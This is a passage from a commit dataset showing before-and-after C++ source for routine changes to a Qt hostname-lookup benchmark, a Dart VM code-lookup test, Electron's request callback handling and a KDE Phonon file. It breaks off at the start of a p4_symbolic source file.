<QDebug>\n#include <QHostInfo>\n#include <QStringList>\n#include <QString>\n\n#include <qtest.h>\n#include <qtesteventloop.h>\n\nclass tst_qhostinfo : public QObject\n{\n    Q_OBJECT\nprivate slots:\n    void lookupSpeed();\n};\n\nclass SignalReceiver : public QObject\n{\n    Q_OBJECT\npublic:\n    SignalReceiver(int nrc) : receiveCount(0), neededReceiveCount(nrc) {};\n    int receiveCount;\n    int neededReceiveCount;\npublic slots:\n    void resultsReady(const QHostInfo) {\n        receiveCount++;\n        if (receiveCount == neededReceiveCount)\n            QTestEventLoop::instance().exitLoop();\n    }\n};\n\nvoid tst_qhostinfo::lookupSpeed()\n{\n    QStringList hostnameList;\n    hostnameList << \"www.ovi.com\" << \"www.nokia.com\" << \"qt.nokia.com\" << \"www.trolltech.com\" << \"troll.no\"\n            << \"www.qtcentre.org\" << \"forum.nokia.com\" << \"www.forum.nokia.com\" << \"wiki.forum.nokia.com\"\n            << \"www.nokia.no\" << \"nokia.de\" << \"127.0.0.1\" << \"----\";\n    \/\/ also add some duplicates:\n    hostnameList << \"www.nokia.com\" << \"127.0.0.1\" << \"www.trolltech.com\";\n    const int COUNT = hostnameList.size();\n\n    SignalReceiver receiver(COUNT);\n\n    QBENCHMARK {\n        for (int i = 0; i < hostnameList.size(); i++)\n            QHostInfo::lookupHost(hostnameList.at(i), &receiver, SLOT(resultsReady(const QHostInfo)));\n        QTestEventLoop::instance().enterLoop(20);\n        QVERIFY(!QTestEventLoop::instance().timeout());\n    }\n}\n\n\nQTEST_MAIN(tst_qhostinfo)\n\n#include \"main.moc\"\n<commit_msg>tst_qhostinfo benchmark: Fix license header<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the test suite of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n\n#include <QDebug>\n#include <QHostInfo>\n#include <QStringList>\n#include <QString>\n\n#include <qtest.h>\n#include <qtesteventloop.h>\n\nclass tst_qhostinfo : public QObject\n{\n    Q_OBJECT\nprivate slots:\n    void lookupSpeed();\n};\n\nclass SignalReceiver : public QObject\n{\n    Q_OBJECT\npublic:\n    SignalReceiver(int nrc) : receiveCount(0), neededReceiveCount(nrc) {};\n    int receiveCount;\n    int neededReceiveCount;\npublic slots:\n    void resultsReady(const QHostInfo) {\n        receiveCount++;\n        if (receiveCount == neededReceiveCount)\n            QTestEventLoop::instance().exitLoop();\n    }\n};\n\nvoid tst_qhostinfo::lookupSpeed()\n{\n    QStringList hostnameList;\n    hostnameList << \"www.ovi.com\" << \"www.nokia.com\" << \"qt.nokia.com\" << \"www.trolltech.com\" << \"troll.no\"\n            << \"www.qtcentre.org\" << \"forum.nokia.com\" << \"www.forum.nokia.com\" << \"wiki.forum.nokia.com\"\n            << \"www.nokia.no\" << \"nokia.de\" << \"127.0.0.1\" << \"----\";\n    \/\/ also add some duplicates:\n    hostnameList << \"www.nokia.com\" << \"127.0.0.1\" << \"www.trolltech.com\";\n    const int COUNT = hostnameList.size();\n\n    SignalReceiver receiver(COUNT);\n\n    QBENCHMARK {\n        for (int i = 0; i < hostnameList.size(); i++)\n            QHostInfo::lookupHost(hostnameList.at(i), &receiver, SLOT(resultsReady(const QHostInfo)));\n        QTestEventLoop::instance().enterLoop(20);\n        QVERIFY(!QTestEventLoop::instance().timeout());\n    }\n}\n\n\nQTEST_MAIN(tst_qhostinfo)\n\n#include \"main.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#include \"platform\/assert.h\"\n#include \"vm\/class_finalizer.h\"\n#include \"vm\/compiler.h\"\n#include \"vm\/object.h\"\n#include \"vm\/pages.h\"\n#include \"vm\/stack_frame.h\"\n#include \"vm\/symbols.h\"\n#include \"vm\/unit_test.h\"\n\nnamespace dart {\n\nTEST_CASE(FindCodeObject) {\n#if defined(TARGET_ARCH_IA32) || defined(TARGET_ARCH_X64)\n  const int kLoopCount = 50000;\n#else\n  const int kLoopCount = 25000;\n#endif\n  const int kScriptSize = 512 * KB;\n  const int kNumFunctions = 1024;\n  char scriptChars[kScriptSize];\n  String& url = String::Handle(String::New(\"dart-test:FindCodeObject\"));\n  String& source = String::Handle();\n  Script& script = Script::Handle();\n  Library& lib = Library::Handle();\n  Class& clsA = Class::Handle();\n  Class& clsB = Class::Handle();\n  String& function_name = String::Handle();\n  Function& function = Function::Handle();\n  char buffer[256];\n\n  \/\/ Get access to the code index table.\n  Isolate* isolate = Isolate::Current();\n  ASSERT(isolate != NULL);\n\n  lib = Library::CoreLibrary();\n\n  \/\/ Load up class A with 1024 functions.\n  int written = OS::SNPrint(scriptChars, kScriptSize, \"class A {\");\n  for (int i = 0; i < kNumFunctions; i++) {\n    OS::SNPrint(buffer,\n                256,\n                \"static foo%d([int i=1,int j=2,int k=3]){return i+j+k;}\", i);\n    written += OS::SNPrint((scriptChars + written),\n                           (kScriptSize - written),\n                           \"%s\",\n                           buffer);\n  }\n  OS::SNPrint((scriptChars + written), (kScriptSize - written), \"}\");\n  source = String::New(scriptChars);\n  script = Script::New(url, source, RawScript::kScriptTag);\n  EXPECT(CompilerTest::TestCompileScript(lib, script));\n  clsA = lib.LookupClass(String::Handle(Symbols::New(\"A\")));\n  EXPECT(!clsA.IsNull());\n  ClassFinalizer::FinalizeTypeHierarchy();\n  for (int i = 0; i < kNumFunctions; i++) {\n    OS::SNPrint(buffer, 256, \"foo%d\", i);\n    function_name = String::New(buffer);\n    function = clsA.LookupStaticFunction(function_name);\n    EXPECT(!function.IsNull());\n    EXPECT(CompilerTest::TestCompileFunction(function));\n    EXPECT(function.HasCode());\n  }\n\n  \/\/ Now load up class B with 1024 functions.\n  written = OS::SNPrint(scriptChars, kScriptSize, \"class B {\");\n  \/\/ Create one large function.\n  OS::SNPrint(buffer, sizeof(buffer), \"static moo0([var i=1]) { \");\n  written += OS::SNPrint((scriptChars + written),\n                         (kScriptSize - written),\n                         \"%s\",\n                         buffer);\n  \/\/ Generate a large function so that the code for this function when\n  \/\/ compiled will reside in a large page.\n  for (int i = 0; i < kLoopCount; i++) {\n    OS::SNPrint(buffer, sizeof(buffer), \"i = i+i;\");\n    written += OS::SNPrint((scriptChars + written),\n                           (kScriptSize - written),\n                           \"%s\",\n                           buffer);\n  }\n  OS::SNPrint(buffer, sizeof(buffer), \"return i; }\");\n  written += OS::SNPrint((scriptChars + written),\n                         (kScriptSize - written),\n                         \"%s\",\n                         buffer);\n  for (int i = 1; i < kNumFunctions; i++) {\n    OS::SNPrint(buffer,\n                256,\n                \"static moo%d([int i=1,int j=2,int k=3]){return i+j+k;}\", i);\n    written += OS::SNPrint((scriptChars + written),\n                           (kScriptSize - written),\n                           \"%s\",\n                           buffer);\n  }\n  OS::SNPrint((scriptChars + written), (kScriptSize - written), \"}\");\n  url = String::New(\"dart-test:FindCodeObject\");\n  source = String::New(scriptChars);\n  script = Script::New(url, source, RawScript::kScriptTag);\n  EXPECT(CompilerTest::TestCompileScript(lib, script));\n  clsB = lib.LookupClass(String::Handle(Symbols::New(\"B\")));\n  EXPECT(!clsB.IsNull());\n  ClassFinalizer::FinalizeTypeHierarchy();\n  for (int i = 0; i < kNumFunctions; i++) {\n    OS::SNPrint(buffer, 256, \"moo%d\", i);\n    function_name = String::New(buffer);\n    function = clsB.LookupStaticFunction(function_name);\n    EXPECT(!function.IsNull());\n    EXPECT(CompilerTest::TestCompileFunction(function));\n    EXPECT(function.HasCode());\n  }\n\n  \/\/ Now try and access these functions using the code index table.\n  Code& code = Code::Handle();\n  uword pc;\n  OS::SNPrint(buffer, 256, \"foo%d\", 123);\n  function_name = String::New(buffer);\n  function = clsA.LookupStaticFunction(function_name);\n  EXPECT(!function.IsNull());\n  code = function.CurrentCode();\n  EXPECT(code.Size() > 16);\n  pc = code.EntryPoint() + 16;\n  EXPECT(Code::LookupCode(pc) == code.raw());\n\n  OS::SNPrint(buffer, 256, \"moo%d\", 54);\n  function_name = String::New(buffer);\n  function = clsB.LookupStaticFunction(function_name);\n  EXPECT(!function.IsNull());\n  code = function.CurrentCode();\n  EXPECT(code.Size() > 16);\n  pc = code.EntryPoint() + 16;\n  EXPECT(Code::LookupCode(pc) == code.raw());\n\n  \/\/ Lookup the large function\n  OS::SNPrint(buffer, 256, \"moo%d\", 0);\n  function_name = String::New(buffer);\n  function = clsB.LookupStaticFunction(function_name);\n  EXPECT(!function.IsNull());\n  code = function.CurrentCode();\n  EXPECT(code.Size() > 16);\n  pc = code.EntryPoint() + 16;\n#if defined(TARGET_ARCH_MIPS)\n  \/\/ MIPS can only Branch +\/- 128KB\n  EXPECT(code.Size() > ((PageSpace::kPageSizeInWords << kWordSizeLog2) \/ 2));\n  EXPECT(Code::LookupCode(pc) == code.raw());\n  pc = code.EntryPoint() + ((PageSpace::kPageSizeInWords << kWordSizeLog2) \/ 4);\n  EXPECT(Code::LookupCode(pc) == code.raw());\n#else\n  EXPECT(code.Size() > (PageSpace::kPageSizeInWords << kWordSizeLog2));\n  EXPECT(Code::LookupCode(pc) == code.raw());\n  EXPECT(code.Size() > (1 * MB));\n  pc = code.EntryPoint() + (1 * MB);\n  EXPECT(Code::LookupCode(pc) == code.raw());\n#endif  \/\/ defined(TARGET_ARCH_MIPS)\n}\n\n}  \/\/ namespace dart\n<commit_msg>Removes obsolete MIPS ifdef from FindCodeObject test.<commit_after>\/\/ Copyright (c) 2012, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#include \"platform\/assert.h\"\n#include \"vm\/class_finalizer.h\"\n#include \"vm\/compiler.h\"\n#include \"vm\/object.h\"\n#include \"vm\/pages.h\"\n#include \"vm\/stack_frame.h\"\n#include \"vm\/symbols.h\"\n#include \"vm\/unit_test.h\"\n\nnamespace dart {\n\nTEST_CASE(FindCodeObject) {\n#if defined(TARGET_ARCH_IA32) || defined(TARGET_ARCH_X64)\n  const int kLoopCount = 50000;\n#else\n  const int kLoopCount = 25000;\n#endif\n  const int kScriptSize = 512 * KB;\n  const int kNumFunctions = 1024;\n  char scriptChars[kScriptSize];\n  String& url = String::Handle(String::New(\"dart-test:FindCodeObject\"));\n  String& source = String::Handle();\n  Script& script = Script::Handle();\n  Library& lib = Library::Handle();\n  Class& clsA = Class::Handle();\n  Class& clsB = Class::Handle();\n  String& function_name = String::Handle();\n  Function& function = Function::Handle();\n  char buffer[256];\n\n  \/\/ Get access to the code index table.\n  Isolate* isolate = Isolate::Current();\n  ASSERT(isolate != NULL);\n\n  lib = Library::CoreLibrary();\n\n  \/\/ Load up class A with 1024 functions.\n  int written = OS::SNPrint(scriptChars, kScriptSize, \"class A {\");\n  for (int i = 0; i < kNumFunctions; i++) {\n    OS::SNPrint(buffer,\n                256,\n                \"static foo%d([int i=1,int j=2,int k=3]){return i+j+k;}\", i);\n    written += OS::SNPrint((scriptChars + written),\n                           (kScriptSize - written),\n                           \"%s\",\n                           buffer);\n  }\n  OS::SNPrint((scriptChars + written), (kScriptSize - written), \"}\");\n  source = String::New(scriptChars);\n  script = Script::New(url, source, RawScript::kScriptTag);\n  EXPECT(CompilerTest::TestCompileScript(lib, script));\n  clsA = lib.LookupClass(String::Handle(Symbols::New(\"A\")));\n  EXPECT(!clsA.IsNull());\n  ClassFinalizer::FinalizeTypeHierarchy();\n  for (int i = 0; i < kNumFunctions; i++) {\n    OS::SNPrint(buffer, 256, \"foo%d\", i);\n    function_name = String::New(buffer);\n    function = clsA.LookupStaticFunction(function_name);\n    EXPECT(!function.IsNull());\n    EXPECT(CompilerTest::TestCompileFunction(function));\n    EXPECT(function.HasCode());\n  }\n\n  \/\/ Now load up class B with 1024 functions.\n  written = OS::SNPrint(scriptChars, kScriptSize, \"class B {\");\n  \/\/ Create one large function.\n  OS::SNPrint(buffer, sizeof(buffer), \"static moo0([var i=1]) { \");\n  written += OS::SNPrint((scriptChars + written),\n                         (kScriptSize - written),\n                         \"%s\",\n                         buffer);\n  \/\/ Generate a large function so that the code for this function when\n  \/\/ compiled will reside in a large page.\n  for (int i = 0; i < kLoopCount; i++) {\n    OS::SNPrint(buffer, sizeof(buffer), \"i = i+i;\");\n    written += OS::SNPrint((scriptChars + written),\n                           (kScriptSize - written),\n                           \"%s\",\n                           buffer);\n  }\n  OS::SNPrint(buffer, sizeof(buffer), \"return i; }\");\n  written += OS::SNPrint((scriptChars + written),\n                         (kScriptSize - written),\n                         \"%s\",\n                         buffer);\n  for (int i = 1; i < kNumFunctions; i++) {\n    OS::SNPrint(buffer,\n                256,\n                \"static moo%d([int i=1,int j=2,int k=3]){return i+j+k;}\", i);\n    written += OS::SNPrint((scriptChars + written),\n                           (kScriptSize - written),\n                           \"%s\",\n                           buffer);\n  }\n  OS::SNPrint((scriptChars + written), (kScriptSize - written), \"}\");\n  url = String::New(\"dart-test:FindCodeObject\");\n  source = String::New(scriptChars);\n  script = Script::New(url, source, RawScript::kScriptTag);\n  EXPECT(CompilerTest::TestCompileScript(lib, script));\n  clsB = lib.LookupClass(String::Handle(Symbols::New(\"B\")));\n  EXPECT(!clsB.IsNull());\n  ClassFinalizer::FinalizeTypeHierarchy();\n  for (int i = 0; i < kNumFunctions; i++) {\n    OS::SNPrint(buffer, 256, \"moo%d\", i);\n    function_name = String::New(buffer);\n    function = clsB.LookupStaticFunction(function_name);\n    EXPECT(!function.IsNull());\n    EXPECT(CompilerTest::TestCompileFunction(function));\n    EXPECT(function.HasCode());\n  }\n\n  \/\/ Now try and access these functions using the code index table.\n  Code& code = Code::Handle();\n  uword pc;\n  OS::SNPrint(buffer, 256, \"foo%d\", 123);\n  function_name = String::New(buffer);\n  function = clsA.LookupStaticFunction(function_name);\n  EXPECT(!function.IsNull());\n  code = function.CurrentCode();\n  EXPECT(code.Size() > 16);\n  pc = code.EntryPoint() + 16;\n  EXPECT(Code::LookupCode(pc) == code.raw());\n\n  OS::SNPrint(buffer, 256, \"moo%d\", 54);\n  function_name = String::New(buffer);\n  function = clsB.LookupStaticFunction(function_name);\n  EXPECT(!function.IsNull());\n  code = function.CurrentCode();\n  EXPECT(code.Size() > 16);\n  pc = code.EntryPoint() + 16;\n  EXPECT(Code::LookupCode(pc) == code.raw());\n\n  \/\/ Lookup the large function\n  OS::SNPrint(buffer, 256, \"moo%d\", 0);\n  function_name = String::New(buffer);\n  function = clsB.LookupStaticFunction(function_name);\n  EXPECT(!function.IsNull());\n  code = function.CurrentCode();\n  EXPECT(code.Size() > 16);\n  pc = code.EntryPoint() + 16;\n  EXPECT(code.Size() > (PageSpace::kPageSizeInWords << kWordSizeLog2));\n  EXPECT(Code::LookupCode(pc) == code.raw());\n  EXPECT(code.Size() > (1 * MB));\n  pc = code.EntryPoint() + (1 * MB);\n  EXPECT(Code::LookupCode(pc) == code.raw());\n}\n\n}  \/\/ namespace dart\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2015 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#include \"atom\/browser\/net\/js_asker.h\"\n\n#include <vector>\n\n#include \"atom\/common\/native_mate_converters\/callback.h\"\n#include \"atom\/common\/native_mate_converters\/v8_value_converter.h\"\n#include \"native_mate\/function_template.h\"\n\nnamespace atom {\n\nnamespace internal {\n\nnamespace {\n\nstruct CallbackHolder {\n  ResponseCallback callback;\n};\n\n\/\/ Cached JavaScript version of |HandlerCallback|.\nv8::Persistent<v8::FunctionTemplate> g_handler_callback_;\n\n\/\/ The callback which is passed to |handler|.\nvoid HandlerCallback(v8::Isolate* isolate,\n                     v8::Local<v8::External> external,\n                     v8::Local<v8::Object> state,\n                     mate::Arguments* args) {\n  \/\/ Check if the callback has already been called.\n  v8::Local<v8::String> called_symbol = mate::StringToSymbol(isolate, \"called\");\n  if (state->Has(called_symbol))\n    return;  \/\/ no nothing\n  else\n    state->Set(called_symbol, v8::Boolean::New(isolate, true));\n\n  \/\/ If there is no argument passed then we failed.\n  scoped_ptr<CallbackHolder> holder(\n      static_cast<CallbackHolder*>(external->Value()));\n  CHECK(holder);\n  v8::Local<v8::Value> value;\n  if (!args->GetNext(&value)) {\n    holder->callback.Run(false, nullptr);\n    return;\n  }\n\n  \/\/ Pass whatever user passed to the actaul request job.\n  V8ValueConverter converter;\n  v8::Local<v8::Context> context = args->isolate()->GetCurrentContext();\n  scoped_ptr<base::Value> options(converter.FromV8Value(value, context));\n  content::BrowserThread::PostTask(\n      content::BrowserThread::IO, FROM_HERE,\n      base::Bind(holder->callback, true, base::Passed(&options)));\n}\n\n\/\/ func.bind(func, arg1, arg2).\n\/\/ NB(zcbenz): Using C++11 version crashes VS.\nv8::Local<v8::Value> BindFunctionWith(v8::Isolate* isolate,\n                                      v8::Local<v8::Context> context,\n                                      v8::Local<v8::Function> func,\n                                      v8::Local<v8::Value> arg1,\n                                      v8::Local<v8::Value> arg2) {\n  v8::MaybeLocal<v8::Value> bind = func->Get(mate::StringToV8(isolate, \"bind\"));\n  CHECK(!bind.IsEmpty());\n  v8::Local<v8::Function> bind_func =\n      v8::Local<v8::Function>::Cast(bind.ToLocalChecked());\n  v8::Local<v8::Value> converted[] = { func, arg1, arg2 };\n  return bind_func->Call(\n      context, func, arraysize(converted), converted).ToLocalChecked();\n}\n\n\/\/ Generate the callback that will be passed to |handler|.\nv8::MaybeLocal<v8::Value> GenerateCallback(v8::Isolate* isolate,\n                                           v8::Local<v8::Context> context,\n                                           const ResponseCallback& callback) {\n  \/\/ The FunctionTemplate is cached.\n  if (g_handler_callback_.IsEmpty())\n    g_handler_callback_.Reset(\n        isolate,\n        mate::CreateFunctionTemplate(isolate, base::Bind(&HandlerCallback)));\n\n  v8::Local<v8::FunctionTemplate> handler_callback =\n      v8::Local<v8::FunctionTemplate>::New(isolate, g_handler_callback_);\n  CallbackHolder* holder = new CallbackHolder;\n  holder->callback = callback;\n  return BindFunctionWith(isolate, context, handler_callback->GetFunction(),\n                          v8::External::New(isolate, holder),\n                          v8::Object::New(isolate));\n}\n\n}  \/\/ namespace\n\nvoid AskForOptions(v8::Isolate* isolate,\n                   const JavaScriptHandler& handler,\n                   net::URLRequest* request,\n                   const ResponseCallback& callback) {\n  DCHECK_CURRENTLY_ON(content::BrowserThread::UI);\n  v8::Locker locker(isolate);\n  v8::HandleScope handle_scope(isolate);\n  v8::Local<v8::Context> context = isolate->GetCurrentContext();\n  v8::Context::Scope context_scope(context);\n  \/\/ We don't convert the callback to C++ directly because creating\n  \/\/ FunctionTemplate will cause memory leak since V8 never releases it. So we\n  \/\/ have to create the function object in JavaScript to work around it.\n  v8::MaybeLocal<v8::Value> wrapped_callback = GenerateCallback(\n      isolate, context, callback);\n  if (wrapped_callback.IsEmpty()) {\n    callback.Run(false, nullptr);\n    return;\n  }\n  handler.Run(request, wrapped_callback.ToLocalChecked());\n}\n\nbool IsErrorOptions(base::Value* value, int* error) {\n  if (value->IsType(base::Value::TYPE_DICTIONARY)) {\n    base::DictionaryValue* dict = static_cast<base::DictionaryValue*>(value);\n    if (dict->GetInteger(\"error\", error))\n      return true;\n  } else if (value->IsType(base::Value::TYPE_INTEGER)) {\n    if (value->GetAsInteger(error))\n      return true;\n  }\n  return false;\n}\n\n}  \/\/ namespace internal\n\n}  \/\/ namespace atom\n<commit_msg>Completion callback is called on IO thread<commit_after>\/\/ Copyright (c) 2015 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#include \"atom\/browser\/net\/js_asker.h\"\n\n#include <vector>\n\n#include \"atom\/common\/native_mate_converters\/callback.h\"\n#include \"atom\/common\/native_mate_converters\/v8_value_converter.h\"\n#include \"native_mate\/function_template.h\"\n\nnamespace atom {\n\nnamespace internal {\n\nnamespace {\n\nstruct CallbackHolder {\n  ResponseCallback callback;\n};\n\n\/\/ Cached JavaScript version of |HandlerCallback|.\nv8::Persistent<v8::FunctionTemplate> g_handler_callback_;\n\n\/\/ The callback which is passed to |handler|.\nvoid HandlerCallback(v8::Isolate* isolate,\n                     v8::Local<v8::External> external,\n                     v8::Local<v8::Object> state,\n                     mate::Arguments* args) {\n  \/\/ Check if the callback has already been called.\n  v8::Local<v8::String> called_symbol = mate::StringToSymbol(isolate, \"called\");\n  if (state->Has(called_symbol))\n    return;  \/\/ no nothing\n  else\n    state->Set(called_symbol, v8::Boolean::New(isolate, true));\n\n  \/\/ If there is no argument passed then we failed.\n  scoped_ptr<CallbackHolder> holder(\n      static_cast<CallbackHolder*>(external->Value()));\n  CHECK(holder);\n  v8::Local<v8::Value> value;\n  if (!args->GetNext(&value)) {\n    content::BrowserThread::PostTask(\n        content::BrowserThread::IO, FROM_HERE,\n        base::Bind(holder->callback, false, nullptr));\n    return;\n  }\n\n  \/\/ Pass whatever user passed to the actaul request job.\n  V8ValueConverter converter;\n  v8::Local<v8::Context> context = args->isolate()->GetCurrentContext();\n  scoped_ptr<base::Value> options(converter.FromV8Value(value, context));\n  content::BrowserThread::PostTask(\n      content::BrowserThread::IO, FROM_HERE,\n      base::Bind(holder->callback, true, base::Passed(&options)));\n}\n\n\/\/ func.bind(func, arg1, arg2).\n\/\/ NB(zcbenz): Using C++11 version crashes VS.\nv8::Local<v8::Value> BindFunctionWith(v8::Isolate* isolate,\n                                      v8::Local<v8::Context> context,\n                                      v8::Local<v8::Function> func,\n                                      v8::Local<v8::Value> arg1,\n                                      v8::Local<v8::Value> arg2) {\n  v8::MaybeLocal<v8::Value> bind = func->Get(mate::StringToV8(isolate, \"bind\"));\n  CHECK(!bind.IsEmpty());\n  v8::Local<v8::Function> bind_func =\n      v8::Local<v8::Function>::Cast(bind.ToLocalChecked());\n  v8::Local<v8::Value> converted[] = { func, arg1, arg2 };\n  return bind_func->Call(\n      context, func, arraysize(converted), converted).ToLocalChecked();\n}\n\n\/\/ Generate the callback that will be passed to |handler|.\nv8::MaybeLocal<v8::Value> GenerateCallback(v8::Isolate* isolate,\n                                           v8::Local<v8::Context> context,\n                                           const ResponseCallback& callback) {\n  \/\/ The FunctionTemplate is cached.\n  if (g_handler_callback_.IsEmpty())\n    g_handler_callback_.Reset(\n        isolate,\n        mate::CreateFunctionTemplate(isolate, base::Bind(&HandlerCallback)));\n\n  v8::Local<v8::FunctionTemplate> handler_callback =\n      v8::Local<v8::FunctionTemplate>::New(isolate, g_handler_callback_);\n  CallbackHolder* holder = new CallbackHolder;\n  holder->callback = callback;\n  return BindFunctionWith(isolate, context, handler_callback->GetFunction(),\n                          v8::External::New(isolate, holder),\n                          v8::Object::New(isolate));\n}\n\n}  \/\/ namespace\n\nvoid AskForOptions(v8::Isolate* isolate,\n                   const JavaScriptHandler& handler,\n                   net::URLRequest* request,\n                   const ResponseCallback& callback) {\n  DCHECK_CURRENTLY_ON(content::BrowserThread::UI);\n  v8::Locker locker(isolate);\n  v8::HandleScope handle_scope(isolate);\n  v8::Local<v8::Context> context = isolate->GetCurrentContext();\n  v8::Context::Scope context_scope(context);\n  \/\/ We don't convert the callback to C++ directly because creating\n  \/\/ FunctionTemplate will cause memory leak since V8 never releases it. So we\n  \/\/ have to create the function object in JavaScript to work around it.\n  v8::MaybeLocal<v8::Value> wrapped_callback = GenerateCallback(\n      isolate, context, callback);\n  if (wrapped_callback.IsEmpty()) {\n    callback.Run(false, nullptr);\n    return;\n  }\n  handler.Run(request, wrapped_callback.ToLocalChecked());\n}\n\nbool IsErrorOptions(base::Value* value, int* error) {\n  if (value->IsType(base::Value::TYPE_DICTIONARY)) {\n    base::DictionaryValue* dict = static_cast<base::DictionaryValue*>(value);\n    if (dict->GetInteger(\"error\", error))\n      return true;\n  } else if (value->IsType(base::Value::TYPE_INTEGER)) {\n    if (value->GetAsInteger(error))\n      return true;\n  }\n  return false;\n}\n\n}  \/\/ namespace internal\n\n}  \/\/ namespace atom\n<|endoftext|>"}
{"text":"<commit_before>#include \"visualization.h\"\n#include \"audiopath.h\"\n#include \"abstractvideooutput.h\"\n#include <phonon\/ifaces\/abstractvideooutput.h>\n\nnamespace Phonon\n{\nnamespace Fake\n{\n\nVisualization::Visualization( QObject* parent )\n\t: QObject( parent )\n{\n}\n\nint Visualization::visualization() const\n{\n\treturn m_visualization;\n}\n\nvoid Visualization::setVisualization( int newVisualization )\n{\n\tm_visualization = newVisualization;\n}\n\nvoid Visualization::setAudioPath( Ifaces::AudioPath* audioPath )\n{\n\tQ_ASSERT( audioPath );\n\tAudioPath* ap = qobject_cast<AudioPath*>( audioPath->qobject() );\n\tQ_ASSERT( ap );\n\tm_audioPath = ap;\n}\n\nvoid Visualization::setVideoOutput( Ifaces::AbstractVideoOutput* videoOutputIface )\n{\n\tQ_ASSERT( videoOutputIface );\n\tAbstractVideoOutput* vo = reinterpret_cast<Phonon::Fake::AbstractVideoOutput*>( videoOutputIface->internal1() );\n\tQ_ASSERT( vo );\n\tm_videoOutput = vo;\n}\n\n}} \/\/namespace Phonon::Fake\n\n#include \"visualization.moc\"\n\/\/ vim: sw=4 ts=4 noet\n<commit_msg>SVN_SILENT: add missing license header<commit_after>\/*  This file is part of the KDE project\n    Copyright (C) 2006 Matthias Kretz <kretz@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License version 2 as published by the Free Software Foundation.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n    Boston, MA 02110-1301, USA.\n\n*\/\n\n#include \"visualization.h\"\n#include \"audiopath.h\"\n#include \"abstractvideooutput.h\"\n#include <phonon\/ifaces\/abstractvideooutput.h>\n\nnamespace Phonon\n{\nnamespace Fake\n{\n\nVisualization::Visualization( QObject* parent )\n\t: QObject( parent )\n{\n}\n\nint Visualization::visualization() const\n{\n\treturn m_visualization;\n}\n\nvoid Visualization::setVisualization( int newVisualization )\n{\n\tm_visualization = newVisualization;\n}\n\nvoid Visualization::setAudioPath( Ifaces::AudioPath* audioPath )\n{\n\tQ_ASSERT( audioPath );\n\tAudioPath* ap = qobject_cast<AudioPath*>( audioPath->qobject() );\n\tQ_ASSERT( ap );\n\tm_audioPath = ap;\n}\n\nvoid Visualization::setVideoOutput( Ifaces::AbstractVideoOutput* videoOutputIface )\n{\n\tQ_ASSERT( videoOutputIface );\n\tAbstractVideoOutput* vo = reinterpret_cast<Phonon::Fake::AbstractVideoOutput*>( videoOutputIface->internal1() );\n\tQ_ASSERT( vo );\n\tm_videoOutput = vo;\n}\n\n}} \/\/namespace Phonon::Fake\n\n#include \"visualization.moc\"\n\/\/ vim: sw=4 ts=4 noet\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>added ability to see and download archived logs<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"p4_symbolic\/ir\/table_entries.h\"\n\n#include <iostream>\n#include <regex>\n#include <string>\n\n#include \"absl\/strings\/str_format.h\"\n#include \"absl\/strings\/str_split.h\"\n#include \"p4_symbolic\/util\/io.h\"\n\nnamespace p4_symbolic {\nnamespace ir {\n\n\/\/ TODO(babman): unclear if we need this right now.\n\/\/               Ideally, we want to represent everything as bitvectors,\n\/\/               However, Z3 API may provide a better way to encode\/transform\n\/\/               to hex.\npdpi::StatusOr<int> FormatBitStringAsHex(std::string str) {\n  \/\/ detect the format: either a number, an IP, an IP range or a mac address.\n  std::regex number(\"^(-?)([0-9]+)$\");\n  std::regex ip(\"^([0-9]+)\\\\.([0-9]+)\\\\.([0-9]+)\\\\.([0-9]+)$\");\n  std::regex ip_range(\"^([0-9]+)\\\\.([0-9]+)\\\\.([0-9]+)\\\\.([0-9]+)\/([0-9]+)$\");\n  std::regex mac(\"^(?:([0-9A-Fa-f]{2}):){5}([0-9A-Fa-f]{2})$\");\n\n  